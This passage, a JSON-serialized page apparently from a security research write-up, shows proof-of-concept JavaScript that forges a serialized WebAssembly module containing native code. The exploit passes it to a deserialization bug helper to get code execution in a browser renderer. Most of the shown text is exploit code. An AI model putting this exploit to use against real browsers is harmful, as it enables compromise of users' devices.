"type":19,"tag":168,"props":134121,"children":134122},{"style":212},[134123],{"type":24,"value":471},{"type":19,"tag":168,"props":134125,"children":134126},{"style":192},[134127],{"type":24,"value":1442},{"type":19,"tag":168,"props":134129,"children":134130},{"style":212},[134131],{"type":24,"value":471},{"type":19,"tag":168,"props":134133,"children":134134},{"style":192},[134135],{"type":24,"value":1452},{"type":19,"tag":168,"props":134137,"children":134138},{"style":212},[134139],{"type":24,"value":471},{"type":19,"tag":168,"props":134141,"children":134142},{"style":192},[134143],{"type":24,"value":1452},{"type":19,"tag":168,"props":134145,"children":134146},{"style":212},[134147],{"type":24,"value":471},{"type":19,"tag":168,"props":134149,"children":134150},{"style":192},[134151],{"type":24,"value":1452},{"type":19,"tag":168,"props":134153,"children":134154},{"style":212},[134155],{"type":24,"value":471},{"type":19,"tag":168,"props":134157,"children":134158},{"style":192},[134159],{"type":24,"value":1442},{"type":19,"tag":168,"props":134161,"children":134162},{"style":212},[134163],{"type":24,"value":471},{"type":19,"tag":168,"props":134165,"children":134166},{"style":192},[134167],{"type":24,"value":14978},{"type":19,"tag":168,"props":134169,"children":134170},{"style":212},[134171],{"type":24,"value":471},{"type":19,"tag":168,"props":134173,"children":134174},{"style":192},[134175],{"type":24,"value":1442},{"type":19,"tag":168,"props":134177,"children":134178},{"style":212},[134179],{"type":24,"value":471},{"type":19,"tag":168,"props":134181,"children":134182},{"style":192},[134183],{"type":24,"value":131059},{"type":19,"tag":168,"props":134185,"children":134186},{"style":212},[134187],{"type":24,"value":471},{"type":19,"tag":168,"props":134189,"children":134190},{"style":192},[134191],{"type":24,"value":1452},{"type":19,"tag":168,"props":134193,"children":134194},{"style":212},[134195],{"type":24,"value":471},{"type":19,"tag":168,"props":134197,"children":134198},{"style":192},[134199],{"type":24,"value":1452},{"type":19,"tag":168,"props":134201,"children":134202},{"style":212},[134203],{"type":24,"value":471},{"type":19,"tag":168,"props":134205,"children":134206},{"style":192},[134207],{"type":24,"value":14745},{"type":19,"tag":168,"props":134209,"children":134210},{"style":212},[134211],{"type":24,"value":471},{"type":19,"tag":168,"props":134213,"children":134214},{"style":192},[134215],{"type":24,"value":519},{"type":19,"tag":168,"props":134217,"children":134218},{"style":212},[134219],{"type":24,"value":471},{"type":19,"tag":168,"props":134221,"children":134222},{"style":192},[134223],{"type":24,"value":1442},{"type":19,"tag":168,"props":134225,"children":134226},{"style":212},[134227],{"type":24,"value":471},{"type":19,"tag":168,"props":134229,"children":134230},{"style":192},[134231],{"type":24,"value":1452},{"type":19,"tag":168,"props":134233,"children":134234},{"style":212},[134235],{"type":24,"value":471},{"type":19,"tag":168,"props":134237,"children":134238},{"style":192},[134239],{"type":24,"value":52154},{"type":19,"tag":168,"props":134241,"children":134242},{"style":212},[134243],{"type":24,"value":471},{"type":19,"tag":168,"props":134245,"children":134246},{"style":192},[134247],{"type":24,"value":53369},{"type":19,"tag":168,"props":134249,"children":134250},{"style":212},[134251],{"type":24,"value":471},{"type":19,"tag":168,"props":134253,"children":134254},{"style":192},[134255],{"type":24,"value":1442},{"type":19,"tag":168,"props":134257,"children":134258},{"style":212},[134259],{"type":24,"value":471},{"type":19,"tag":168,"props":134261,"children":134262},{"style":192},[134263],{"type":24,"value":15559},{"type":19,"tag":168,"props":134265,"children":134266},{"style":212},[134267],{"type":24,"value":471},{"type":19,"tag":168,"props":134269,"children":134270},{"style":192},[134271],{"type":24,"value":130985},{"type":19,"tag":168,"props":134273,"children":134274},{"style":212},[134275],{"type":24,"value":471},{"type":19,"tag":168,"props":134277,"children":134278},{"style":192},[134279],{"type":24,"value":131156},{"type":19,"tag":168,"props":134281,"children":134282},{"style":212},[134283],{"type":24,"value":471},{"type":19,"tag":168,"props":134285,"children":134286},{"style":192},[134287],{"type":24,"value":131165},{"type":19,"tag":168,"props":134289,"children":134290},{"style":212},[134291],{"type":24,"value":471},{"type":19,"tag":168,"props":134293,"children":134294},{"style":192},[134295],{"type":24,"value":131174},{"type":19,"tag":168,"props":134297,"children":134298},{"style":212},[134299],{"type":24,"value":471},{"type":19,"tag":168,"props":134301,"children":134302},{"style":192},[134303],{"type":24,"value":131174},{"type":19,"tag":168,"props":134305,"children":134306},{"style":212},[134307],{"type":24,"value":915},{"type":19,"tag":168,"props":134309,"children":134310},{"class":170,"line":450},[134311,134315,134319,134323,134327,134331,134335,134339,134343,134347,134351,134355,134359,134363,134367,134371],{"type":19,"tag":168,"props":134312,"children":134313},{"style":192},[134314],{"type":24,"value":131684},{"type":19,"tag":168,"props":134316,"children":134317},{"style":212},[134318],{"type":24,"value":471},{"type":19,"tag":168,"props":134320,"children":134321},{"style":192},[134322],{"type":24,"value":1452},{"type":19,"tag":168,"props":134324,"children":134325},{"style":212},[134326],{"type":24,"value":471},{"type":19,"tag":168,"props":134328,"children":134329},{"style":192},[134330],{"type":24,"value":86742},{"type":19,"tag":168,"props":134332,"children":134333},{"style":212},[134334],{"type":24,"value":471},{"type":19,"tag":168,"props":134336,"children":134337},{"style":192},[134338],{"type":24,"value":14978},{"type":19,"tag":168,"props":134340,"children":134341},{"style":212},[134342],{"type":24,"value":471},{"type":19,"tag":168,"props":134344,"children":134345},{"style":192},[134346],{"type":24,"value":1442},{"type":19,"tag":168,"props":134348,"children":134349},{"style":212},[134350],{"type":24,"value":471},{"type":19,"tag":168,"props":134352,"children":134353},{"style":192},[134354],{"type":24,"value":519},{"type":19,"tag":168,"props":134356,"children":134357},{"style":212},[134358],{"type":24,"value":471},{"type":19,"tag":168,"props":134360,"children":134361},{"style":192},[134362],{"type":24,"value":1452},{"type":19,"tag":168,"props":134364,"children":134365},{"style":212},[134366],{"type":24,"value":471},{"type":19,"tag":168,"props":134368,"children":134369},{"style":192},[134370],{"type":24,"value":131250},{"type":19,"tag":168,"props":134372,"children":134373},{"style":212},[134374],{"type":24,"value":915},{"type":19,"tag":168,"props":134376,"children":134377},{"class":170,"line":560},[134378],{"type":19,"tag":168,"props":134379,"children":134380},{"style":212},[134381],{"type":24,"value":131971},{"type":19,"tag":168,"props":134383,"children":134384},{"class":170,"line":666},[134385,134389,134393,134397,134401,134405,134409,134413,134417,134421],{"type":19,"tag":168,"props":134386,"children":134387},{"style":382},[134388],{"type":24,"value":134068},{"type":19,"tag":168,"props":134390,"children":134391},{"style":393},[134392],{"type":24,"value":69111},{"type":19,"tag":168,"props":134394,"children":134395},{"style":399},[134396],{"type":24,"value":402},{"type":19,"tag":168,"props":134398,"children":134399},{"style":382},[134400],{"type":24,"value":29405},{"type":19,"tag":168,"props":134402,"children":134403},{"style":393},[134404],{"type":24,"value":131285},{"type":19,"tag":168,"props":134406,"children":134407},{"style":212},[134408],{"type":24,"value":948},{"type":19,"tag":168,"props":134410,"children":134411},{"style":175},[134412],{"type":24,"value":83408},{"type":19,"tag":168,"props":134414,"children":134415},{"style":212},[134416],{"type":24,"value":500},{"type":19,"tag":168,"props":134418,"children":134419},{"style":393},[134420],{"type":24,"value":131302},{"type":19,"tag":168,"props":134422,"children":134423},{"style":212},[134424],{"type":24,"value":1249},{"type":19,"tag":168,"props":134426,"children":134427},{"class":170,"line":694},[134428,134432,134436,134440,134444,134448,134452,134456,134460,134464],{"type":19,"tag":168,"props":134429,"children":134430},{"style":382},[134431],{"type":24,"value":134068},{"type":19,"tag":168,"props":134433,"children":134434},{"style":393},[134435],{"type":24,"value":131318},{"type":19,"tag":168,"props":134437,"children":134438},{"style":399},[134439],{"type":24,"value":402},{"type":19,"tag":168,"props":134441,"children":134442},{"style":382},[134443],{"type":24,"value":29405},{"type":19,"tag":168,"props":134445,"children":134446},{"style":393},[134447],{"type":24,"value":131285},{"type":19,"tag":168,"props":134449,"children":134450},{"style":212},[134451],{"type":24,"value":948},{"type":19,"tag":168,"props":134453,"children":134454},{"style":175},[134455],{"type":24,"value":131339},{"type":19,"tag":168,"props":134457,"children":134458},{"style":212},[134459],{"type":24,"value":500},{"type":19,"tag":168,"props":134461,"children":134462},{"style":393},[134463],{"type":24,"value":131348},{"type":19,"tag":168,"props":134465,"children":134466},{"style":212},[134467],{"type":24,"value":1249},{"type":19,"tag":168,"props":134469,"children":134470},{"class":170,"line":707},[134471,134475,134479,134483,134487,134491,134495,134499,134503],{"type":19,"tag":168,"props":134472,"children":134473},{"style":382},[134474],{"type":24,"value":134068},{"type":19,"tag":168,"props":134476,"children":134477},{"style":393},[134478],{"type":24,"value":77498},{"type":19,"tag":168,"props":134480,"children":134481},{"style":399},[134482],{"type":24,"value":402},{"type":19,"tag":168,"props":134484,"children":134485},{"style":393},[134486],{"type":24,"value":131318},{"type":19,"tag":168,"props":134488,"children":134489},{"style":212},[134490],{"type":24,"value":948},{"type":19,"tag":168,"props":134492,"children":134493},{"style":393},[134494],{"type":24,"value":35361},{"type":19,"tag":168,"props":134496,"children":134497},{"style":212},[134498],{"type":24,"value":948},{"type":19,"tag":168,"props":134500,"children":134501},{"style":393},[134502],{"type":24,"value":131388},{"type":19,"tag":168,"props":134504,"children":134505},{"style":212},[134506],{"type":24,"value":412},{"type":19,"tag":168,"props":134508,"children":134509},{"class":170,"line":725},[134510],{"type":19,"tag":168,"props":134511,"children":134512},{"emptyLinePlaceholder":14},[134513],{"type":24,"value":1093},{"type":19,"tag":168,"props":134515,"children":134516},{"class":170,"line":746},[134517],{"type":19,"tag":168,"props":134518,"children":134519},{"style":373},[134520],{"type":24,"value":134521}," // %WasmTierUpFunction(func);\n",{"type":19,"tag":168,"props":134523,"children":134524},{"class":170,"line":755},[134525,134530,134534,134538,134542,134546,134550,134554,134558,134562,134566,134570,134574,134578],{"type":19,"tag":168,"props":134526,"children":134527},{"style":419},[134528],{"type":24,"value":134529}," for",{"type":19,"tag":168,"props":134531,"children":134532},{"style":212},[134533],{"type":24,"value":461},{"type":19,"tag":168,"props":134535,"children":134536},{"style":382},[134537],{"type":24,"value":9232},{"type":19,"tag":168,"props":134539,"children":134540},{"style":393},[134541],{"type":24,"value":804},{"type":19,"tag":168,"props":134543,"children":134544},{"style":399},[134545],{"type":24,"value":402},{"type":19,"tag":168,"props":134547,"children":134548},{"style":192},[134549],{"type":24,"value":437},{"type":19,"tag":168,"props":134551,"children":134552},{"style":212},[134553],{"type":24,"value":14676},{"type":19,"tag":168,"props":134555,"children":134556},{"style":393},[134557],{"type":24,"value":1157},{"type":19,"tag":168,"props":134559,"children":134560},{"style":399},[134561],{"type":24,"value":6157},{"type":19,"tag":168,"props":134563,"children":134564},{"style":192},[134565],{"type":24,"value":133990},{"type":19,"tag":168,"props":134567,"children":134568},{"style":212},[134569],{"type":24,"value":14676},{"type":19,"tag":168,"props":134571,"children":134572},{"style":393},[134573],{"type":24,"value":1157},{"type":19,"tag":168,"props":134575,"children":134576},{"style":399},[134577],{"type":24,"value":48752},{"type":19,"tag":168,"props":134579,"children":134580},{"style":212},[134581],{"type":24,"value":12250},{"type":19,"tag":168,"props":134583,"children":134584},{"class":170,"line":1008},[134585,134590],{"type":19,"tag":168,"props":134586,"children":134587},{"style":175},[134588],{"type":24,"value":134589}," func",{"type":19,"tag":168,"props":134591,"children":134592},{"style":212},[134593],{"type":24,"value":1084},{"type":19,"tag":168,"props":134595,"children":134596},{"class":170,"line":1025},[134597],{"type":19,"tag":168,"props":134598,"children":134599},{"style":212},[134600],{"type":24,"value":3306},{"type":19,"tag":168,"props":134602,"children":134603},{"class":170,"line":1042},[134604],{"type":19,"tag":168,"props":134605,"children":134606},{"emptyLinePlaceholder":14},[134607],{"type":24,"value":1093},{"type":19,"tag":168,"props":134609,"children":134610},{"class":170,"line":1055},[134611,134615,134619,134623,134627,134631,134635],{"type":19,"tag":168,"props":134612,"children":134613},{"style":382},[134614],{"type":24,"value":5292},{"type":19,"tag":168,"props":134616,"children":134617},{"style":393},[134618],{"type":24,"value":133424},{"type":19,"tag":168,"props":134620,"children":134621},{"style":399},[134622],{"type":24,"value":402},{"type":19,"tag":168,"props":134624,"children":134625},{"style":175},[134626],{"type":24,"value":133433},{"type":19,"tag":168,"props":134628,"children":134629},{"style":212},[134630],{"type":24,"value":500},{"type":19,"tag":168,"props":134632,"children":134633},{"style":393},[134634],{"type":24,"value":131348},{"type":19,"tag":168,"props":134636,"children":134637},{"style":212},[134638],{"type":24,"value":1249},{"type":19,"tag":168,"props":134640,"children":134641},{"class":170,"line":1064},[134642,134646,134650,134654,134658,134662,134666,134670,134674,134678],{"type":19,"tag":168,"props":134643,"children":134644},{"style":393},[134645],{"type":24,"value":133469},{"type":19,"tag":168,"props":134647,"children":134648},{"style":399},[134649],{"type":24,"value":402},{"type":19,"tag":168,"props":134651,"children":134652},{"style":212},[134653],{"type":24,"value":461},{"type":19,"tag":168,"props":134655,"children":134656},{"style":419},[134657],{"type":24,"value":30389},{"type":19,"tag":168,"props":134659,"children":134660},{"style":393},[134661],{"type":24,"value":133424},{"type":19,"tag":168,"props":134663,"children":134664},{"style":212},[134665],{"type":24,"value":948},{"type":19,"tag":168,"props":134667,"children":134668},{"style":175},[134669],{"type":24,"value":55049},{"type":19,"tag":168,"props":134671,"children":134672},{"style":212},[134673],{"type":24,"value":133498},{"type":19,"tag":168,"props":134675,"children":134676},{"style":393},[134677],{"type":24,"value":36627},{"type":19,"tag":168,"props":134679,"children":134680},{"style":212},[134681],{"type":24,"value":412},{"type":19,"tag":168,"props":134683,"children":134684},{"class":170,"line":1087},[134685,134689,134693,134697,134701,134705],{"type":19,"tag":168,"props":134686,"children":134687},{"style":393},[134688],{"type":24,"value":99431},{"type":19,"tag":168,"props":134690,"children":134691},{"style":212},[134692],{"type":24,"value":948},{"type":19,"tag":168,"props":134694,"children":134695},{"style":175},[134696],{"type":24,"value":99440},{"type":19,"tag":168,"props":134698,"children":134699},{"style":212},[134700],{"type":24,"value":500},{"type":19,"tag":168,"props":134702,"children":134703},{"style":393},[134704],{"type":24,"value":6522},{"type":19,"tag":168,"props":134706,"children":134707},{"style":212},[134708],{"type":24,"value":1249},{"type":19,"tag":168,"props":134710,"children":134711},{"class":170,"line":1096},[134712],{"type":19,"tag":168,"props":134713,"children":134714},{"emptyLinePlaceholder":14},[134715],{"type":24,"value":1093},{"type":19,"tag":168,"props":134717,"children":134718},{"class":170,"line":1105},[134719,134723,134728,134732,134736,134740,134744,134748],{"type":19,"tag":168,"props":134720,"children":134721},{"style":382},[134722],{"type":24,"value":5292},{"type":19,"tag":168,"props":134724,"children":134725},{"style":393},[134726],{"type":24,"value":134727}," result_bytes",{"type":19,"tag":168,"props":134729,"children":134730},{"style":399},[134731],{"type":24,"value":402},{"type":19,"tag":168,"props":134733,"children":134734},{"style":382},[134735],{"type":24,"value":29405},{"type":19,"tag":168,"props":134737,"children":134738},{"style":175},[134739],{"type":24,"value":130954},{"type":19,"tag":168,"props":134741,"children":134742},{"style":212},[134743],{"type":24,"value":500},{"type":19,"tag":168,"props":134745,"children":134746},{"style":393},[134747],{"type":24,"value":6522},{"type":19,"tag":168,"props":134749,"children":134750},{"style":212},[134751],{"type":24,"value":1249},{"type":19,"tag":168,"props":134753,"children":134754},{"class":170,"line":1174},[134755,134759,134763,134767,134771,134775,134779,134783,134787,134791,134795,134799,134803,134807,134811],{"type":19,"tag":168,"props":134756,"children":134757},{"style":393},[134758],{"type":24,"value":99431},{"type":19,"tag":168,"props":134760,"children":134761},{"style":212},[134762],{"type":24,"value":948},{"type":19,"tag":168,"props":134764,"children":134765},{"style":175},[134766],{"type":24,"value":99440},{"type":19,"tag":168,"props":134768,"children":134769},{"style":212},[134770],{"type":24,"value":500},{"type":19,"tag":168,"props":134772,"children":134773},{"style":181},[134774],{"type":24,"value":131521},{"type":19,"tag":168,"props":134776,"children":134777},{"style":399},[134778],{"type":24,"value":6343},{"type":19,"tag":168,"props":134780,"children":134781},{"style":393},[134782],{"type":24,"value":134727},{"type":19,"tag":168,"props":134784,"children":134785},{"style":212},[134786],{"type":24,"value":948},{"type":19,"tag":168,"props":134788,"children":134789},{"style":175},[134790],{"type":24,"value":131538},{"type":19,"tag":168,"props":134792,"children":134793},{"style":212},[134794],{"type":24,"value":500},{"type":19,"tag":168,"props":134796,"children":134797},{"style":181},[134798],{"type":24,"value":131547},{"type":19,"tag":168,"props":134800,"children":134801},{"style":212},[134802],{"type":24,"value":481},{"type":19,"tag":168,"props":134804,"children":134805},{"style":399},[134806],{"type":24,"value":1811},{"type":19,"tag":168,"props":134808,"children":134809},{"style":181},[134810],{"type":24,"value":131560},{"type":19,"tag":168,"props":134812,"children":134813},{"style":212},[134814],{"type":24,"value":1249},{"type":19,"tag":168,"props":134816,"children":134817},{"class":170,"line":1182},[134818],{"type":19,"tag":168,"props":134819,"children":134820},{"style":212},[134821],{"type":24,"value":99472},{"type":19,"tag":20,"props":134823,"children":134824},{},[134825],{"type":24,"value":134826},"We get the serialized bytes:",{"type":19,"tag":20,"props":134828,"children":134829},{},[134830],{"type":19,"tag":1344,"props":134831,"children":134834},{"alt":134832,"src":134833},"image2","/posts/mobile-renderer-rce/image2.png",[],{"type":19,"tag":20,"props":134836,"children":134837},{},[134838,134840,134845],{"type":24,"value":134839},"We can now embed this output into the original bytecode that calls ",{"type":19,"tag":27,"props":134841,"children":134843},{"className":134842},[],[134844],{"type":24,"value":130417},{"type":24,"value":1922},{"type":19,"tag":158,"props":134847,"children":134849},{"code":134848,"language":33090,"meta":7,"className":33088,"style":7},"(async () => {\n const wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n const buffer = new Uint8Array([\n 146, 6, 222, 192, 174, 122, 171, 151, 31, 0, 0, 0, 39, 61, 60, 31, 0, 16, 3, 0, 0, 0, 0, 0, 64,\n 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 56, 0, 0, 0, 44, 0, 0, 0, 56, 0, 0, 0, 56, 0,\n 0, 0, 56, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 95, 36, 3, 213, 16, 1, 128, 210, 127, 35, 3,\n 213, 231, 67, 190, 169, 253, 123, 1, 169, 253, 67, 0, 145, 191, 3, 0, 145, 253, 123, 193, 168,\n 255, 35, 3, 213, 192, 3, 95, 214, 31, 32, 3, 213, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 92, 50, 162, 0,\n ]);\n let r = bug(wasm_code, buffer.buffer);\n result = (await r.next()).value;\n console.log('DeserializeWasmModule result: ' + result);\n const wasm_instance = new WebAssembly.Instance(result);\n const f = wasm_instance.exports.shell;\n console.log(f);\n})();\n",[134850],{"type":19,"tag":27,"props":134851,"children":134852},{"__ignoreMap":7},[134853,134876,134903,135122,135189,135196,135223,135434,135685,135936,136160,136342,136563,136641,136648,136695,136738,136774,136817,136856,136883],{"type":19,"tag":168,"props":134854,"children":134855},{"class":170,"line":171},[134856,134860,134864,134868,134872],{"type":19,"tag":168,"props":134857,"children":134858},{"style":212},[134859],{"type":24,"value":500},{"type":19,"tag":168,"props":134861,"children":134862},{"style":382},[134863],{"type":24,"value":33620},{"type":19,"tag":168,"props":134865,"children":134866},{"style":212},[134867],{"type":24,"value":37172},{"type":19,"tag":168,"props":134869,"children":134870},{"style":382},[134871],{"type":24,"value":12268},{"type":19,"tag":168,"props":134873,"children":134874},{"style":212},[134875],{"type":24,"value":691},{"type":19,"tag":168,"props":134877,"children":134878},{"class":170,"line":198},[134879,134883,134887,134891,134895,134899],{"type":19,"tag":168,"props":134880,"children":134881},{"style":382},[134882],{"type":24,"value":33663},{"type":19,"tag":168,"props":134884,"children":134885},{"style":393},[134886],{"type":24,"value":130941},{"type":19,"tag":168,"props":134888,"children":134889},{"style":399},[134890],{"type":24,"value":402},{"type":19,"tag":168,"props":134892,"children":134893},{"style":382},[134894],{"type":24,"value":29405},{"type":19,"tag":168,"props":134896,"children":134897},{"style":175},[134898],{"type":24,"value":130954},{"type":19,"tag":168,"props":134900,"children":134901},{"style":212},[134902],{"type":24,"value":130959},{"type":19,"tag":168,"props":134904,"children":134905},{"class":170,"line":415},[134906,134910,134914,134918,134922,134926,134930,134934,134938,134942,134946,134950,134954,134958,134962,134966,134970,134974,134978,134982,134986,134990,134994,134998,135002,135006,135010,135014,135018,135022,135026,135030,135034,135038,135042,135046,135050,135054,135058,135062,135066,135070,135074,135078,135082,135086,135090,135094,135098,135102,135106,135110,135114,135118],{"type":19,"tag":168,"props":134907,"children":134908},{"style":192},[134909],{"type":24,"value":131684},{"type":19,"tag":168,"props":134911,"children":134912},{"style":212},[134913],{"type":24,"value":471},{"type":19,"tag":168,"props":134915,"children":134916},{"style":192},[134917],{"type":24,"value":130976},{"type":19,"tag":168,"props":134919,"children":134920},{"style":212},[134921],{"type":24,"value":471},{"type":19,"tag":168,"props":134923,"children":134924},{"style":192},[134925],{"type":24,"value":130985},{"type":19,"tag":168,"props":134927,"children":134928},{"style":212},[134929],{"type":24,"value":471},{"type":19,"tag":168,"props":134931,"children":134932},{"style":192},[134933],{"type":24,"value":130994},{"type":19,"tag":168,"props":134935,"children":134936},{"style":212},[134937],{"type":24,"value":471},{"type":19,"tag":168,"props":134939,"children":134940},{"style":192},[134941],{"type":24,"value":1442},{"type":19,"tag":168,"props":134943,"children":134944},{"style":212},[134945],{"type":24,"value":471},{"type":19,"tag":168,"props":134947,"children":134948},{"style":192},[134949],{"type":24,"value":1452},{"type":19,"tag":168,"props":134951,"children":134952},{"style":212},[134953],{"type":24,"value":471},{"type":19,"tag":168,"props":134955,"children":134956},{"style":192},[134957],{"type":24,"value":1452},{"type":19,"tag":168,"props":134959,"children":134960},{"style":212},[134961],{"type":24,"value":471},{"type":19,"tag":168,"props":134963,"children":134964},{"style":192},[134965],{"type":24,"value":1452},{"type":19,"tag":168,"props":134967,"children":134968},{"style":212},[134969],{"type":24,"value":471},{"type":19,"tag":168,"props":134971,"children":134972},{"style":192},[134973],{"type":24,"value":1442},{"type":19,"tag":168,"props":134975,"children":134976},{"style":212},[134977],{"type":24,"value":471},{"type":19,"tag":168,"props":134979,"children":134980},{"style":192},[134981],{"type":24,"value":14978},{"type":19,"tag":168,"props":134983,"children":134984},{"style":212},[134985],{"type":24,"value":471},{"type":19,"tag":168,"props":134987,"children":134988},{"style":192},[134989],{"type":24,"value":1442},{"type":19,"tag":168,"props":134991,"children":134992},{"style":212},[134993],{"type":24,"value":471},{"type":19,"tag":168,"props":134995,"children":134996},{"style":192},[134997],{"type":24,"value":131059},{"type":19,"tag":168,"props":134999,"children":135000},{"style":212},[135001],{"type":24,"value":471},{"type":19,"tag":168,"props":135003,"children":135004},{"style":192},[135005],{"type":24,"value":1452},{"type":19,"tag":168,"props":135007,"children":135008},{"style":212},[135009],{"type":24,"value":471},{"type":19,"tag":168,"props":135011,"children":135012},{"style":192},[135013],{"type":24,"value":1452},{"type":19,"tag":168,"props":135015,"children":135016},{"style":212},[135017],{"type":24,"value":471},{"type":19,"tag":168,"props":135019,"children":135020},{"style":192},[135021],{"type":24,"value":14745},{"type":19,"tag":168,"props":135023,"children":135024},{"style":212},[135025],{"type":24,"value":471},{"type":19,"tag":168,"props":135027,"children":135028},{"style":192},[135029],{"type":24,"value":519},{"type":19,"tag":168,"props":135031,"children":135032},{"style":212},[135033],{"type":24,"value":471},{"type":19,"tag":168,"props":135035,"children":135036},{"style":192},[135037],{"type":24,"value":1442},{"type":19,"tag":168,"props":135039,"children":135040},{"style":212},[135041],{"type":24,"value":471},{"type":19,"tag":168,"props":135043,"children":135044},{"style":192},[135045],{"type":24,"value":1452},{"type":19,"tag":168,"props":135047,"children":135048},{"style":212},[135049],{"type":24,"value":471},{"type":19,"tag":168,"props":135051,"children":135052},{"style":192},[135053],{"type":24,"value":52154},{"type":19,"tag":168,"props":135055,"children":135056},{"style":212},[135057],{"type":24,"value":471},{"type":19,"tag":168,"props":135059,"children":135060},{"style":192},[135061],{"type":24,"value":53369},{"type":19,"tag":168,"props":135063,"children":135064},{"style":212},[135065],{"type":24,"value":471},{"type":19,"tag":168,"props":135067,"children":135068},{"style":192},[135069],{"type":24,"value":1442},{"type":19,"tag":168,"props":135071,"children":135072},{"style":212},[135073],{"type":24,"value":471},{"type":19,"tag":168,"props":135075,"children":135076},{"style":192},[135077],{"type":24,"value":15559},{"type":19,"tag":168,"props":135079,"children":135080},{"style":212},[135081],{"type":24,"value":471},{"type":19,"tag":168,"props":135083,"children":135084},{"style":192},[135085],{"type":24,"value":130985},{"type":19,"tag":168,"props":135087,"children":135088},{"style":212},[135089],{"type":24,"value":471},{"type":19,"tag":168,"props":135091,"children":135092},{"style":192},[135093],{"type":24,"value":131156},{"type":19,"tag":168,"props":135095,"children":135096},{"style":212},[135097],{"type":24,"value":471},{"type":19,"tag":168,"props":135099,"children":135100},{"style":192},[135101],{"type":24,"value":131165},{"type":19,"tag":168,"props":135103,"children":135104},{"style":212},[135105],{"type":24,"value":471},{"type":19,"tag":168,"props":135107,"children":135108},{"style":192},[135109],{"type":24,"value":131174},{"type":19,"tag":168,"props":135111,"children":135112},{"style":212},[135113],{"type":24,"value":471},{"type":19,"tag":168,"props":135115,"children":135116},{"style":192},[135117],{"type":24,"value":131174},{"type":19,"tag":168,"props":135119,"children":135120},{"style":212},[135121],{"type":24,"value":915},{"type":19,"tag":168,"props":135123,"children":135124},{"class":170,"line":450},[135125,135129,135133,135137,135141,135145,135149,135153,135157,135161,135165,135169,135173,135177,135181,135185],{"type":19,"tag":168,"props":135126,"children":135127},{"style":192},[135128],{"type":24,"value":131684},{"type":19,"tag":168,"props":135130,"children":135131},{"style":212},[135132],{"type":24,"value":471},{"type":19,"tag":168,"props":135134,"children":135135},{"style":192},[135136],{"type":24,"value":1452},{"type":19,"tag":168,"props":135138,"children":135139},{"style":212},[135140],{"type":24,"value":471},{"type":19,"tag":168,"props":135142,"children":135143},{"style":192},[135144],{"type":24,"value":86742},{"type":19,"tag":168,"props":135146,"children":135147},{"style":212},[135148],{"type":24,"value":471},{"type":19,"tag":168,"props":135150,"children":135151},{"style":192},[135152],{"type":24,"value":14978},{"type":19,"tag":168,"props":135154,"children":135155},{"style":212},[135156],{"type":24,"value":471},{"type":19,"tag":168,"props":135158,"children":135159},{"style":192},[135160],{"type":24,"value":1442},{"type":19,"tag":168,"props":135162,"children":135163},{"style":212},[135164],{"type":24,"value":471},{"type":19,"tag":168,"props":135166,"children":135167},{"style":192},[135168],{"type":24,"value":519},{"type":19,"tag":168,"props":135170,"children":135171},{"style":212},[135172],{"type":24,"value":471},{"type":19,"tag":168,"props":135174,"children":135175},{"style":192},[135176],{"type":24,"value":1452},{"type":19,"tag":168,"props":135178,"children":135179},{"style":212},[135180],{"type":24,"value":471},{"type":19,"tag":168,"props":135182,"children":135183},{"style":192},[135184],{"type":24,"value":131250},{"type":19,"tag":168,"props":135186,"children":135187},{"style":212},[135188],{"type":24,"value":915},{"type":19,"tag":168,"props":135190,"children":135191},{"class":170,"line":560},[135192],{"type":19,"tag":168,"props":135193,"children":135194},{"style":212},[135195],{"type":24,"value":131971},{"type":19,"tag":168,"props":135197,"children":135198},{"class":170,"line":666},[135199,135203,135207,135211,135215,135219],{"type":19,"tag":168,"props":135200,"children":135201},{"style":382},[135202],{"type":24,"value":33663},{"type":19,"tag":168,"props":135204,"children":135205},{"style":393},[135206],{"type":24,"value":122754},{"type":19,"tag":168,"props":135208,"children":135209},{"style":399},[135210],{"type":24,"value":402},{"type":19,"tag":168,"props":135212,"children":135213},{"style":382},[135214],{"type":24,"value":29405},{"type":19,"tag":168,"props":135216,"children":135217},{"style":175},[135218],{"type":24,"value":130954},{"type":19,"tag":168,"props":135220,"children":135221},{"style":212},[135222],{"type":24,"value":130959},{"type":19,"tag":168,"props":135224,"children":135225},{"class":170,"line":694},[135226,135231,135235,135239,135243,135247,135251,135255,135259,135264,135268,135273,135277,135282,135286,135291,135295,135299,135303,135307,135311,135315,135319,135323,135327,135332,135336,135341,135345,135350,135354,135358,135362,135366,135370,135374,135378,135382,135386,135390,135394,135398,135402,135406,135410,135414,135418,135422,135426,135430],{"type":19,"tag":168,"props":135227,"children":135228},{"style":192},[135229],{"type":24,"value":135230}," 146",{"type":19,"tag":168,"props":135232,"children":135233},{"style":212},[135234],{"type":24,"value":471},{"type":19,"tag":168,"props":135236,"children":135237},{"style":192},[135238],{"type":24,"value":15871},{"type":19,"tag":168,"props":135240,"children":135241},{"style":212},[135242],{"type":24,"value":471},{"type":19,"tag":168,"props":135244,"children":135245},{"style":192},[135246],{"type":24,"value":132023},{"type":19,"tag":168,"props":135248,"children":135249},{"style":212},[135250],{"type":24,"value":471},{"type":19,"tag":168,"props":135252,"children":135253},{"style":192},[135254],{"type":24,"value":132032},{"type":19,"tag":168,"props":135256,"children":135257},{"style":212},[135258],{"type":24,"value":471},{"type":19,"tag":168,"props":135260,"children":135261},{"style":192},[135262],{"type":24,"value":135263},"174",{"type":19,"tag":168,"props":135265,"children":135266},{"style":212},[135267],{"type":24,"value":471},{"type":19,"tag":168,"props":135269,"children":135270},{"style":192},[135271],{"type":24,"value":135272},"122",{"type":19,"tag":168,"props":135274,"children":135275},{"style":212},[135276],{"type":24,"value":471},{"type":19,"tag":168,"props":135278,"children":135279},{"style":192},[135280],{"type":24,"value":135281},"171",{"type":19,"tag":168,"props":135283,"children":135284},{"style":212},[135285],{"type":24,"value":471},{"type":19,"tag":168,"props":135287,"children":135288},{"style":192},[135289],{"typ